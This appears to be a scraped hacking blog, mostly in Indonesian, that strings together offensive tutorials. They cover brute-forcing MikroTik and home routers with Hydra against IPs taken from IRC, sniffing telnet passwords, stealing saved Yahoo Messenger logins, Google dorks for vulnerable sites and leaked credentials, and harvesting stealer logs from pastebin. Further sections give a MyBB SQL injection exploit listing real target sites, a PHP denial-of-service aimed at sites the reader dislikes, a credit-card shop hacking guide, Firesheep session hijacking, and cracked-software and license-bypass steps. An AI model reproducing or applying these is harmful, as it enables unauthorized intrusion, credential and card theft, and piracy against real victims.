android jones

Ringkasan ini tidak tersedia. Harap klik di sini untuk melihat postingan.

How to activate Kaspersky license using a key file :

1. Open Kaspersky License Manager (from lower right corner).

2. Click ‘Activate the application with a new license’ button. (Delete any trial key first, by clicking the red X next to the key).

3. Disable your internet connection (either disable Network adapter from control panel or turn off your modem/router).

4. Select ‘Activate commercial version’ and enter the activation license code as 11111-11111-11111-1111X
or select ‘Activate trial license’.

5. Click Next, an error dialog box will open as shown below:

6. Click Ok and you will now get the option to activate kaspersky using a key file.

7. Browse to the key location and activate kaspersky.

Tidak ada sistem yang aman 100%, karena begitu banyak kemungkinan jika kita melihat dari berbagai sisi, sebelumnya penulis menulis artikel untuk hacking mikrotik dari sisi celah di telnet, tapi sebenarnya sama bahayanya dengan telnet yaitu FTP.

Percobaan penulis melakukan serangan BF (brute force) pada http, telnet dan ssh mengalami kegagalan, setelah termenung sekian lama ahkirnya penulis ingat serangan BF pada FTP di waktu sebelumnya, ahkirnya penulis mencoba melakukan BF pada FTP dan hasilnya ternyata sukses. Hmm username dan password untuk http, telnet, ssh, telnet adalah sama, satu celah kena maka semua kena, jadi?

Dari sisi kompatibilitas mikrotik dapat diancungi jempol tapi akibat dari banyaknya kompatibilitas yang ada dapat membawa ancaman lebih besar, seperti pada telnet yang penulis bahas dan praktek diartikel yang sebelumnya.

Oke, kita langsung praktek saja, kita periksa port yang terbuka di mikrotik

C:\Documents and Settings\serverdata>nmap -A 192.168.1.174

Starting Nmap 5.21 ( http://nmap.org ) at 2011-11-07 15:36 Pacific Standard Time

Nmap scan report for 192.168.1.174
Host is up (0.00013s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp MikroTik router ftpd 3.20
22/tcp open ssh OpenSSH 2.3.0 mikrotik 2.9 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey: 1024 c6:5e:04:d3:12:db:1d:98:c9:17:e2:98:77:d4:39:ba (RSA1)
|_1024 76:68:bc:ee:e3:40:f5:6b:72:ea:44:55:df:86:06:ec (DSA)
23/tcp open telnet Linux telnetd
80/tcp open http MikroTik router http config
|_html-title: mikrotik routeros > administration
2000/tcp open winbox MikroTik WinBox management console
8080/tcp open http-proxy Mikrotik http proxy
8291/tcp open unknown
MAC Address: 08:00:27:22:84:F1 (Cadmus Computer Systems)
Device type: media device
Running: Chumby embedded
OS details: Chumby Internet radio
Network Distance: 1 hop
Service Info: OS: Linux; Device: router

HOP RTT ADDRESS
1 0.13 ms 192.168.1.174

OS and Service detection performed. Please report any incorrect results at http:
//nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 170.00 seconds

Ternyata banyak port dan service yang terbuka di mikrotik.

Oke tidak perlu berpanjang-panjang lebar lagi, kita langsung hack saja mikrotik target.

C:\Documents and Settings\serverdata>

H:\hydra>hydra -l admin -P kamus.txt 192.168.1.174 ftp
Hydra v6.0 (c) 2011 by van Hauser / THC – use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2011-11-07 14:39:20
[DATA] 16 tasks, 1 servers, 23 login tries (l:1/p:23), ~1 tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host: 192.168.1.174 login: admin password: jagoan
[STATUS] attack finished for 192.168.1.174 (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2011-11-07 14:39:26

Binggo, password mikrotik sudah didapat, kita coba masuk lewat web.

Saat login dan exploitasi yang dapat dilakukan.
Menghajar para pengguna jaringan di mikrotik dengan mengarahkan DNS Servernya ke DNS Server milik kita, ya samalah tekniknya dengan teknik di artikel sebelumnya yang penulis tulis untuk poisoning DNS para pengguna yang menggunakan DHCP router.


Terbatas di web, pakai winbox saja dan login pakai pakai password yang kita hack dari FTP sebelumnya biar lebih banyak option lagi, jika ingin mengganti password router password mikrotik di winbox maka contohnya klik saja password dan muncul form input untuk password lama dan password baru.


sekian dulu, cayooo . . . .

Apakah anda suka cari target di IRC untuk dihack router speedy atau di PC dibelakang router untuk pentest? Apakah anda masih mengandalkan target yang mengandalkan router speedy dengan keamanan password default yaitu user admin dan password admin ? Kalau anda masih mengandalkan metode serangan password default, maka disini penulis akan memberikan metode tambahan untuk anda yaitu metode brute force.

Disini penulis menggunakan tool Hydra. Hydra adalah tool untuk melakukan hacking password dengan menggunakan metode brute force, dengan anda memiliki kamus kata yang banyak yang dimungkinkan passwordnya ada di dalam kamus tersebut.

Di sini penulis contohkan misal kita join ke mIRC, kita contohkan saja nick ce_imutbgtt, nah whois aja itu nick dan kita akan mendapatkan IPnya.

Tampilan IP setelah di whois.

Setelah kita dapatkan IPnya maka jalankan saja di browser IP address tersebut.

Setelah dijalankan http://180.254.70.135 maka akan tampil form window seperti dibawah ini

menggunakan username admin dan password admin hasilnya adalah gagal maka anda akan dihadapkan pada 2 hal, terus maju atau tinggalkan target.

Jika anda ingin terus maju maka anda dapat menggunakan teknik brute force. Contohnya untuk melakukan exploitasi dengan hydra adalah

H:\hydra>hydra -m / -l admin -P data.txt 180.254.70.135 http-get
Hydra v6.0 (c) 2011 by van Hauser / THC – use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2011-10-17 14:27:56
[DATA] 11 tasks, 1 servers, 11 login tries (l:1/p:11), ~1 tries per task
[DATA] attacking service http-get on port 80
[STATUS] attack finished for 180.254.70.135 (waiting for childs to finish)
[80][www] host: 180.254.70.135 login: admin password: baseball
Hydra (http://www.thc.org) finished at 2011-10-17 14:27:57

H:\hydra>

Setelah kita masuk ke router dengan password yang didapat, jika kita ingin melakukan hacking server di belakang router maka kita dapat melakukan IP Forwarding dari router ke Server yang berada dibelakang router.

Disini kita tidak tahu IP-IP lokal berapa saja dibelakang router, karena itu kita dapat mengujinya satu persatu dengan melakukan ping walaupun tidak jaminan.

Disini diasumsikan IP Servernya adalah 192.168.1.2 setelah kita ping dapat.

D:\>ping 180.254.70.135

Pinging 180.254.70.135 with 32 bytes of data:

Reply from 180.254.70.135: bytes=32 time<1ms TTL=254
Reply from 180.254.70.135: bytes=32 time=2ms TTL=254
Reply from 180.254.70.135: bytes=32 time=11ms TTL=254
Reply from 180.254.70.135: bytes=32 time<1ms TTL=254

Setelah diping jalan maka kita dapat mencoba melakukan scanning dengan NMAP

C:\>nmap -v -A 180.254.70.135

Starting Nmap 5.21 ( http://nmap.org ) at 2011-10-17 15:28 Pacific Daylight Time

NSE: Loaded 36 scripts for scanning.
Initiating Ping Scan at 15:28
Scanning 180.254.70.135 [4 ports]
Completed Ping Scan at 15:28, 0.53s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:28
Completed Parallel DNS resolution of 1 host. at 15:28, 3.09s elapsed
Initiating SYN Stealth Scan at 15:28
Scanning 180.254.70.135 [1000 ports]
Discovered open port 23/tcp on 180.254.70.135
Discovered open port 80/tcp on 180.254.70.135
Discovered open port 3389/tcp on 180.254.70.135
Discovered open port 21/tcp on 180.254.70.135
Completed SYN Stealth Scan at 15:28, 2.34s elapsed (1000 total ports)

Disini dari scanning dengan NMAP kita mendapatkan adanya port 23 yaitu port untuk telnet server. Dengan aktifnya Telnet Server maka kita dapat melakukan brute force ke server Telnet dengan Hydra.

H:\hydra>hydra -l administrator -P data.txt 180.254.70.135 telnet
Hydra v6.0 (c) 2011 by van Hauser / THC – use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2011-10-17 15:21:22
[DATA] 6 tasks, 1 servers, 6 login tries (l:1/p:6), ~1 tries per task
[DATA] attacking service telnet on port 23
[STATUS] attack finished for 180.254.70.135 (waiting for childs to finish)
[23][telnet] host: 180.254.70.135 login: administrator password: sepakbola
Hydra (http://www.thc.org) finished at 2011-10-17 15:21:26

Binggo, kita mendapatkan password telnetnya.

Masukkan login dan passwordnya dan kita akan mendapatkan shell dari telnet server. Contohnya :

Setelah kita klik Open. Masukkan login dan passwordnya.

Sip, kita masuk ke shell server.

Untuk download Hydra. http://0xa.li/files/hydra-6.0-windows.zip. Untuk cari kamusnya untuk brute force dapat dicari sendiri di google, jika ingin buat sendiri juga boleh. Cayooo!

Solusi : Pengamanannya jika anda ingin tetap dapat dipanggil router speedynya dari luar, maka anda dapat membuat password yang susah ditebak dengan berbagai kombinasi huruf dan angka yang kompleks tapi tetap mudah diingat. Jika ingin lebih aman lagi ya tidak perlu membuat router speedy bisa diakses dari internet, caranya misal dengan melempar port 80 ke IP lain yang kosong atau tidak dipakai.

Saya tidak bertanggung sama sekali atas semua hal-hal yang diakibatkan oleh artikel ini.

Perkembangan remote untuk administrator sudah berkembang pesat, tapi tidak menutup kemungkinan ada administrator mikrotik yang masih menggunakan telnet untuk remote ke mikrotiknya dengan berbagai alasannya seperti misal lebih universal, seperti dimana di windows sudah ada telnet clientnya yang dapat dipanggil tanpa menggunakan tool dari luar dan sebagainya.

Penggunaan telnet pada mikrotik dapat mengakibatkan password mikrotik di sniffing.

Contoh yang penulis lakukan dalam melakukan sniffing password telnet dengan CAIN.

Setelah penulis melakukan poisoning pada IP router mikrotik dan kemudian si administrator melakukan login ke mikrotik melalui telnet, penulis cukup masuk pada bagian passwords lalu telnet akan tampil baris seperti dibawah ini lalu penulis lakukan klik kanan lalu view.

Tampilannya setelah dilakukan view.

mendapatkan password mikrotik dan anda tinggal login dengan password tersebut untuk melakukan login.

Solusi : Untuk mencegah terjadinya tindakan pengambilan password dengan menggunakan sniffing maka gunakan SSH untuk remote secara console.

Cayoo . . . .

User pada umumnya malas mengetikkan password ketika akan login ke Yahoo Messenger, salah satu cara yang praktis adalah melakukan centang pada “Remember my ID & password”. Hal ini dilakukan supaya jika ingin chat, maka tinggal klik “sign in” saja. nga perlu repot ketik password lagi.
Namun pada kasus umum lainnya adalah ketika user lupa akan PASSWORD ID-nya karena saking terbiasa dengan keenakkan fitur “mengingat password” YM. atau celakanya ada juga orang lain yang sering menggunakan komputer dimana seseorang sudah melakukan “Remember my ID & password” pada komputer tersebut.
Meskipun password tersimpan dalam bentuk terenkripsi, kita atau orang lain juga bisa berchatting ria menggunakan account YM tersebut tanpa menggunakan software pembobol password atau keylogger apapun.
Nah.. beginilah kira kira meng-hack akun Yahoo messenger secara manual.
Jika di sebuah komputer (saya asumsikan sebagai komputer A) terinstall YM versi 7 keatas (versi 7,8,9,10,11) dengan tanda centang “Remember my ID & password”, maka anda bisa langsung jalankan registry editor (windows + r dan ketik regedit) dan masuk ke HKEY_CURRENT_USER\Software\yahoo\pager


kita akan menemukan dua buah “String Value” dibawah ini
Yahoo! User ID = airin_hero88
ETS = XxXXxXXXXxxXXXSENSORBRO-XXXXXXxxxXXXXXXX
string ETS dan Yahoo! User ID adalah ID Yahoo dan password terenkripsi dimana setiap komputer berbeda beda. Anda tidak bisa langsung memasukkan/mengedit hanya kedua file tersebut. Namun harus menyimpan semua data registry.


masuk ke HKEY_CURRENT_USER\Software\yahoo\ dan export registry tersebut. Klik kanan pilih export dan save menjadi ympass.reg ke flash disk.
Pada komputer yang lain (saya asumsikan sebagai kompuer B), matikan dulu Yahoo Mesennger jika saat itu sedang aktif, lalu klik dua kali pada file ympass.reg yang sudah anda simpan di flash disk
Jalankan Yahoo Messenger pada komputer B…. Selamat anda berhasil sign in sebagai akun YM komputer A tanpa perlu mengetahui password tersebut.
Trik ini mungkin bermanfaat bagi anda sebagai pemilik akun YM yang lupa password tapi ingin ber-YM-an di komputer lain. atau sebaliknya jika jatuh di tangan orang lain, maka dia bisa menjadi akun anda bahkan membaca isi inbox e-mail.

Acunetix Web Vulnerability Scanner 7.0 Full Version (Crack + Activator)
Download via Torrent (http://www.utorrent.com)
Installation
Unpack, install, Replace wvs.exe, activation.exe with the cracked one. Start activation.exe enter something you like, activate it and click finish. Start wvs.exe and have fun.
Enjoy . . .

Audit your website security with Acunetix Web Vulnerability Scanner
As many as 70% of web sites have vulnerabilities that could lead to the theft of sensitive corporate data such as credit card information and customer lists.
Hackers are concentrating their efforts on web-based applications – shopping carts, forms, login pages, dynamic content, etc. Accessible 24/7 from anywhere in the world, insecure web applications provide easy access to backend corporate databases and also allow hackers to perform illegal activities
using the attacked site. A victim’s website can be used to launch criminal activities such as hosting phishing sites or to transfer illicit content, while abusing the website’s bandwidth and making its owner liable for these unlawful acts.
Firewalls, SSL and locked-down servers are futile against web application hacking!
Web application attacks, launched on port 80/443, go straight through the firewall, past operating system and network level security, and right into the heart of your application and corporate data. Tailor-made web applications are often insufficiently tested, have undiscovered vulnerabilities and are therefore easy prey for hackers.
Find out if your web site is secure before hackers download sensitive data, commit a crime using your web site as a launch pad, and endanger your business. Acunetix Web Vulnerability Scanner crawls your web site, automatically analyzes your web applications and finds perilous SQL injection, Cross site scripting and other vulnerabilities that expose your on line business. Concise reports identify where web applications need to be fixed, thus enabling you to protect your business from impending hacker attacks!
Acunetix – a world-wide leader in web application security
Acunetix has pioneered the web application security scanning technology: Its engineers focused on web security as early as 1997 and developed an engineering lead in web site analysis and vulnerability detection.

Acunetix Web Vulnerability Scanner includes many innovative features:
* An automatic Javascript analyzer allowing for security testing of Ajax and Web 2.0 applications
* Industry’s most a dvanced and in-depth SQL injection and Cross site scripting testing
* Visual macro recorder makes testing web forms and password protected areas easy
* Extensive reporting facilities including VISA PCI compliance reports
* Multi-threaded and lightning fast scanner crawls hundreds of thousands of pages with ease
* Automate File Upload Forms vulnerability testing
* Acunetix crawls and analyzes websites including flash content, SOAP and AJAX
* Innovative AcuSensor Technology that allows accurate scanning for many vulnerabilities
* Port scanning and network alerts against the web server for complex security checks
* Version Check
o Vulnerable Web Servers
o Vulnerable Web Server Technologies – such as “PHP 4.3.0 file disclosure and possible code execution.
* Web Server Configuration Checks
o Checks for Web Servers Problems – Determines if dangerous HTTP methods are enabled on the web server (e.g. PUT, TRACE, DELETE)
o Verify Web Server Technologies
* Parameter Manipulation
* Cross-Site Scripting (XSS) – over 40 different XSS variations are tested.
* SQL Injection
* Code Execution
* Directory Traversal
* File Inclusion
* Script Source Code Disclosure
* CRLF Injection
* Cross Frame Scripting (XFS)
* PHP Code Injection
* XPath Injection
* Path Disclosure (Unix and Windows)
* LDAP Injection
* Cookie Manipulation
* Arbitrary File creation (AcuSensor Technology)
* Arbitrary File deletion (AcuSensor Technology)
* Email Injection (AcuSensor Technology)
* File Tampering (AcuSensor Technology)
* URL redirection
* Remote XSL inclusion
# MultiRequest Parameter Manipulation
* Blind SQL/XPath Injection
# File Checks
* Checks for Backup Files or Directories – Looks for common files (such as logs, application traces, CVS web repositories)
* Cross Site Scripting in URI
* Checks for Script Errors
# File Uploads
* Unrestricted File uploads Checks
# Directory Checks
* Looks for Common Files (such as logs, traces, CVS)
* Discover Sensitive Files/Directories
* Discovers Directories with Weak Permissions
* Cross Site Scripting in Path and PHPSESSID Session Fixation.
* Web Applications
* HTTP Verb Tampering
# Text Search
* Directory Listings
* Source Code Disclosure
* Check for Common Files
* Check for Email Addresses
* Microsoft Office Possible Sensitive Information
* Local Path Disclosure
* Error Messages
* Trojan shell scripts (such as popular PHP shell scripts like r57shell, c99shell etc)
# Weak Passwords
* Weak HTTP Passwords
# GHDB Google Hacking Database
* Over 1200 GHDB Search Entries in the Database
# Port Scanner and Network Alerts
* Port scans the web server and obtains a list of open ports with banners
* Performs complex network level vulnerability checks on open ports such as:
o DNS Server vulnerabilities (Open zone transfer, Open recursion, cache poisoning)
o FTP server checks (list of writable FTP directories, weak FTP passwords, anonymous access allowed)
o Security and configuration checks for badly configured proxy servers
o Checks for weak SNMP community strings and weak SSL cyphers
o and many other network level vulnerability checks!
# Other vulnerability tests may also be preformed using the manual tools provided, including:
* Input Validation
* Authentication attacks
* Buffer overflows
* Blind SQL injection
* Sub domain scanning

Okay, I just made a PoC library on how to perform SOCKS5 connection(s) in both C# and VB.Net. Here's a code example of how to use it (in VB.Net):

Imports SOCKS5
Public Class PoC
Public Sub Main()
Dim Target As String = "www.google.com"
Dim Query As String = _
"GET / HTTP/1.1" & vbCrLf & _
"Host: " & Target & vbCrLf &; vbCrLf
Dim Tunnel As New SOCKS5("1.2.3.4", 1080, Target, 80)
Dim Socket As New Net.Sockets.Socket( _
Net.Sockets.AddressFamily.InterNetwork, _
Net.Sockets.SocketType.Stream, _
Net.Sockets.ProtocolType.Tcp)
Tunnel.Connect(Socket)
Socket.Send(Text.Encoding.ASCII.GetBytes(Query))
'...
End Sub
End Class

I hope you'll get some use out of it!
Also, here's the download link: SOCKS5.rar

Description: Allows you to tunnel your streams or sockets through a SOCKS5 server in .NET.
Version: 1.0
Reference(s): RFC1928
Language: VB.Net/C#, Requires .Net Framework 3.5

good luck . . . :)

I'm not sure if you've heard it or not, it's actually "rather old" news now, but PHP 5.3.X suffers from a floating-point denial of service.
If the PHP interpreter tries to parses a specific number, the fork/thread (?) simply hangs and starts consuming CPU resources.

The original advisory states the following snippet:

----------------------------------------------------

---------------------------------------------------

The exploit is self explaining, all you have to do is to find a numeric variable on a site you're pissed enough at. Eg:

http://website.com/index.php?id=7

Replace the id variable with 2.2250738585072011e-308 and watch your success when the server doesn't respond with a page.
This doesn't kill the server - but it do consume alot of CPU resources.

Your best approach is to send several requests (code something will you?) which sends either HTTP POST or GET requests towards the server.
It surely wont take long before it goes down completely.

Here's a PoC script using several variations of the evil floating-point:

-------------------------------------------------------

---------------------------------------------------------

That's it! Update your PHP installation (if you haven't already) :)

While strolling through mysql.com I came across this page.

There you can view the possibility of the bitwise function right shift.

A bitwise right shift will shift the bits 1 location to the right and add a 0 to the front.

Here is an example:


mysql> select ascii(b'00000010');
+--------------------+
| ascii(b'00000010') |
+--------------------+
| 2 |
+--------------------+
1 row in set (0.00 sec)

Right shifting it 1 location will give us:

mysql> select ascii(b'00000010') >> 1;
+-------------------------+
| ascii(b'00000010') >> 1 |
+-------------------------+
| 1 |
+-------------------------+
1 row in set (0.00 sec)

It will add a 0 at the front and remove 1 character at the end.

00000010 = 2
00000010 >> 1 = 00000001
^ ^
added shifted
0

So let's say we want to find out a character of a string during blind MySQL injection and use the least possible amount of requests and do it as soon as possible we could use binary search but that will quickly take a lot of requests.
First we split the ascii table in half and try if it's on 1 side or the other, that leaves us ~64 possible characters.
Next we chop it in half again which will give us 32 possible characters.
Then again we get 16 possible characters.
After the next split we have 8 possible characters and from this point it's most of the times guessing or splitting it in half again.

Let's see if we can beat that technique by optimizing this - but first more theory about the technique I came up with.

There are always 8 bits reserved for ASCII characters.
An ASCII character can be converted to it's decimal value as you have seen before:

mysql> select ascii('a');
+------------+
| ascii('a') |
+------------+
| 97 |
+------------+
1 row in set (0.00 sec)

This will give a nice int which can be used as binary.

a = 01100001

If we would left shift this character 7 locations to the right you would get:

00000000 << first 7 0's in blue; last 0 in red

The first 7 bits are being added by the shift, the last character remains which is 0.

mysql> select ascii('a') >> 7;
+-----------------+
| ascii('a') >> 7 |
+-----------------+
| 0 |
+-----------------+
1 row in set (0.00 sec)

a = 01100001

01100001 >> 7 == 00000000 == 0
01100001 >> 6 == 00000001 == 1
01100001 >> 5 == 00000011 == 3
01100001 >> 4 == 00000110 == 6
01100001 >> 3 == 00001100 == 12
01100001 >> 2 == 00011000 == 24
01100001 >> 1 == 00110000 == 48
01100001 >> 0 == 01100001 == 97

When we did the bitshift of 7 we had 2 possible outcomes - 0 or 1 and we can compare it to 0 and 1 and determine that way if it was 1 or 0.

mysql> select (ascii('a') >> 7)=0;
+---------------------+
| (ascii('a') >> 7)=0 |
+---------------------+
| 1 |
+---------------------+
1 row in set (0.00 sec)

It tells us that it was true that if you would shift it 7 bits the outcome would be equal to 0.
Once again, if we would right shift it 6 bits we have the possible outcome of 1 and 0.

mysql> select (ascii('a') >> 6)=0;
+---------------------+
| (ascii('a') >> 6)=0 |
+---------------------+
| 0 |
+---------------------+
1 row in set (0.00 sec)

This time it's not true so we know the first 2 bits of our character is "01".
If the next shift will result in "010" it would equal to 2; if it would be "011" the outcome would be 3.

mysql> select (ascii('a') >> 5)=2;
+---------------------+
| (ascii('a') >> 5)=2 |
+---------------------+
| 0 |
+---------------------+
1 row in set (0.00 sec)

It is not true that it is 2 so now we can conclude it is "011".
The next possible options are:
0110 = 6
0111 = 7

mysql> select (ascii('a') >> 4)=6;
+---------------------+
| (ascii('a') >> 4)=6 |
+---------------------+
| 1 |
+---------------------+
1 row in set (0.00 sec)

We got "0110" now and looking at the table for a above here you can see this actually is true.
Let's try this on a string we actually don't know, user() for example.

First we shall right shift with 7 bits, possible results are 1 and 0.

mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 7)=0 |
+--------------------------------------+
| 1 |
+--------------------------------------+
1 row in set (0.00 sec)

We now know that the first bit is set to 0.
0???????

The next possible options are 0 and 1 again so we compare it with 0.

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 6)=0 |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.00 sec)

Now we know the second bit is set to 1.
01??????

Possible next options are:
010 = 2
011 = 3

mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 5)=2 |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.00 sec)

Third bit is set to 1.
011?????

Next options:
0110 = 6
0111 = 7

mysql> select (ascii((substr(user(),1,1))) >> 4)=6;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 4)=6 |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.00 sec)

This bit is also set.
0111????

Next options:
01110 = 14
01111 = 15

mysql> select (ascii((substr(user(),1,1))) >> 3)=14;
+---------------------------------------+
| (ascii((substr(user(),1,1))) >> 3)=14 |
+---------------------------------------+
| 1 |
+---------------------------------------+
1 row in set (0.00 sec)

01110???

Options:
011100 = 28
011101 = 29

mysql> select (ascii((substr(user(),1,1))) >> 2)=28;
+---------------------------------------+
| (ascii((substr(user(),1,1))) >> 2)=28 |
+---------------------------------------+
| 1 |
+---------------------------------------+
1 row in set (0.00 sec)

011100??

Options:
0111000 = 56
0111001 = 57

mysql> select (ascii((substr(user(),1,1))) >> 1)=56;
+---------------------------------------+
| (ascii((substr(user(),1,1))) >> 1)=56 |
+---------------------------------------+
| 0 |
+---------------------------------------+
1 row in set (0.00 sec)

0111001?
Options:
01110010 = 114
01110011 = 115

mysql> select (ascii((substr(user(),1,1))) >> 0)=114;
+----------------------------------------+
| (ascii((substr(user(),1,1))) >> 0)=114 |
+----------------------------------------+
| 1 |
+----------------------------------------+
1 row in set (0.00 sec)

Alright, so the binary representation of the character is:
01110010

Converting it back gives us:

mysql> select b'01110010';
+-------------+
| b'01110010' |
+-------------+
| r |
+-------------+
1 row in set (0.00 sec)

So the first character of user() is "r".

With this technique we can assure that we have the character in 8 requests.

Further optimizing this technique can be done.
The ASCII table is just 127 characters which is 7 bits per character so we can assume we will never go over it and decrement this technique with 1 request per character.

Chances are higher the second bit will be set to 1 since the second part of the ASCII table (characters 77-127) contain the characters a-z A-Z - the first part however contains numbers which are also used a lot but when automating it you might just want to try and skip this bit and immediatly try for the next one.

good Luck :)

Google and all of it's services must be the most advanced and handy SaaS-solution(s) ever created.
Google is also known to be the "hackers best friend".
...so why bother to run automated "Google-Dork Scanners" manually, when Google just as well could do the job for you?

After some tinkering, and exploring of the wide range of services Google provides; I came up with something interesting.

So folks, behold.
The Skynet is born.

Here's how it works:

1. Login to your Google-account (or provide an e-mail address).
2. Go to http://www.google.com/alerts.
3. Enter the malicious dork, among other settings.
4. If you got more dorks, go back to to #2.


Simple, clean and easy.
Just (ab)use Google Alerts for your own evil deeds!
(The current trend is cloud-based solutions, so why fight against it?)


Whenever Google finds something matching your dork - you will receive an e-mail notification, telling you what sites it found as well as what it matched on.

The variety of malicious content Google may provide, could range from anything of the following:

* Public Advisories and Vulnerabilities (and well, 0-days if you have any).
* Server-Side Error Messages.
* Files containing logon credentials for various services. (Usernames, Passwords...)
* Footholds. (e.g; Administrative pages)
* Login portals.
* Network and/or Vulnerability logs.
* Online Shopping Information (Customer Data, Suppliers, Credit Cards...)
* Various Online Services (Printers, Surveillance cameras, Routers, SIP-switches...)
* Vulnerable Files & Servers
* Web-Server / OS Fingerprints

With other words, you'll never have to manually scan/query/search again.
Just configure your "Google Alerts"-page, and see the information-flow building up in your e-mails inbox.

What's even more cozy, is the user-friendly feature of allowing your GMAIL to act as a RSS-feed:

https://USERNAME:PASSWORD@gmail.google.com/gmail/feed/atom

...a perfect way to parse the data!

Heres some resources containing various Google dorks (which only may be used for educational purposes!):

* http://www.hackersforcharity.org/ghdb/
* http://www.exploit-db.com/google-dorks/
* http://www.googlebig.com/forum/google-dorks-f-4.html

Now, I'm not saying you should use this technique.
But it could become a serious threat - due to the ease of executing the process.

I hope I've enlightened you a bit! :)

Google A Hackers Best Friend


Here Are Some Codes People Will Find Useful

Dorks:

inurl:"view.asp?page=" intext:"plymouth"

Ok what this code does ? So this is the university schools you can hack with this dork university schools.
--------------------------------------------------------------------


inurl:"shoutbox.php" intext:"script"

with this code you can hack shoutbox or to find scripts

--------------------------------------------------------------------

inurl:"index.php?act=idx"

This code will find ipb forums quickly to hack

--------------------------------------------------------------------
inurl:"Photoshop.aspx" "tutorials"

This code will find photoshop tutorials
--------------------------------------------------------------------
intext:"Warning: mysql_fetch_array()"

With this code you will find any vulnarable sites and hack them.

--------------------------------------------------------------------
"powered by vbulletin" + "account dumps"

With this code you will be able find passwords for any sites,forums not for porn.
--------------------------------------------------------------------

site:youtube.com *@gmail.com

This will find any youtube or any site emails.


--------------------------------------------------------------------
"sql google scanner" + "php"

Google sql injection online hack vulnerable sites,forums and find vulnerables sites very easy.

--------------------------------------------------------------------
allinurl:smiliehelp.php
allinurl:"guestbook/smileys.php"
inurl:"smileys.php" + "talking"


Talking smilies.
--------------------------------------------------------------------Good Luck . . . :D

Many people copy pastes theyre logs to sort em or shit like that, and when theyre doing that on the site saves the lists.
So this is a way to harvest logs of the internet.

Finding logs on pastebin.
1. Go to http://www.pastebin.com or another site like that.
2. Search for " Program: Url/Host: Login: Password: Computer: Date: Ip: "
3. Profit.

Finding logs on google.
1. Go to http://www.google.com
2. Search for " Program: Url/Host: Login: Password: Computer: Date: Ip: "
3. Profit.

You could also try search fo

Application: Url: Username: Password: Entry/Port:

Instead of
Program: Url/Host: Login: Password: Computer: Date: Ip:

================================================== ===================
MyBB 0day \ MyTabs (plugin) SQL injection vulnerability
================================================== ===================

# Exploit title : MyBB 0day \ MyTabs (plugin) SQL injection vulnerability.
# Author: AutoRUN & dR.sqL
# Home :
# Date : 01 \ 08 \ 2011
# Tested on : Windows XP , Linux
# Category : web apps
# Software Link : http://mods.mybb.com/view/mytabs
# Google dork : Use your mind kid :D !

Vulnerability :

$~ http://localhost/myb.../index.php?tab=[SQLi]

---------------------------------------
# ~ Expl0itation ~ #
---------------------------------------

$~ Get the administrator's username (usually it has uid=1) ~

http://localhost/mybbpath/index.php?tab=1' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)-- -

$~ Get the administrator's password ~

http://localhost/mybbpath/index.php?tab=1' and(select 1 from(select count(*),concat((select password from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)-- -



You can try on this site

http://secworm.net/forums/index.php?tab=1'
http://icanhazcookie.net/index.php?tab=1'

This is Tut Tui collect and summarize. But the hole was time But you refer. Hopefully this will be a first step for everyone. if one bit can add anything more to you newbie learn kai.

TUTORIAL Hack Cc-o0o-o0o-Shop 1Buoc Type 1:

Recommended search at www.google.com or www.search.com shop because I found two sites are very good.

Keywords should be used:

allinurl: "shopdisplayproducts.asp? id =

or allinurl: "shopdisplayproducts.asp? cat = 1 or allinurl:" shopdisplayproducts.asp? cat = 2 ... ...

Search shop by Domain. Com,. Net,. Biz ... ..

allinurl: ".com / shopdisplayproducts.asp? cat =, allinurl:" .net / shopdisplayproducts.asp? cat =... shopcategories.asp? id = / shop / shopping product.asp? ProductID

allinurl: "shopdisplayproducts.asp? id =

allinurl: "shopdisplayproducts.asp? id = 1

allinurl: "shopdisplayproducts.asp? id = 2

allinurl: ".com / shopdisplayproducts.asp? id =

allinurl: ".net / shopdisplayproducts.asp? id =

. Asp? = Catalogid =

. Asp? Cid =

alliurl: $ shop. asp? $ =

shopexd.asp?

shopreviewlist.asp? id = 1

shopreviewadd.asp? id =

Who knows what will it be replaced by dots

Ability to obtain credit cards: 99.9% to 0.1% is also dependent on your head.

Completed the search, you harvest all the shop failed and start hacking

Oke kali ini kita akan coba menjahili teman kita yg sedang online bersamaan dalam 1 network, atau dalam 1 warnet. Kita akan menggunakan teknik Hijacking social networking Dengan Firesheep, Hijacking adalah satu metode yang digunakan para hacker untuk melakukan penetrasi dengan cara melakukan pencurian cookie, dengan menggunakan Add-ons nya mozila firefox . . .
nggak usah pangjang lebar yuk kita lakukan praktek . . .

siapkan alat-alatnya dahulu:
- WinPcap
- Firesheep <-- Add-ons Firefox
- dan browser mozzila firefox

Cara pertama instal winpcap yang telah anda download tadi, setelah itu download dan instalkan pada addons mozzila. Cara instal firesheep bisa anda tarik file Firesheepnya ke dalam mozilla firefox, atau file Firesheepnya di open dengan mozila firefox, klick instal dan restar mozzila anda, akan muncul di tab kiri mozzila anda firesheep dan start capture . . .

maka komputer satu network anda yang membuka facebook akan terlihat oleh anda dan anda bebas melihat-lihat dan merubah isi facebook tersebut . . . :)

cara kerja firesheep dengan membaca cookies yang ada pada komputer yang membuka social networking . . .

sekian . . .
klo ada salah-salah kata dan ada yang kurang berkenan di hati anda semua, mohon di maafkan . . . :)
saya juga masih newbie . . :)
semoga bermanfaat . . .

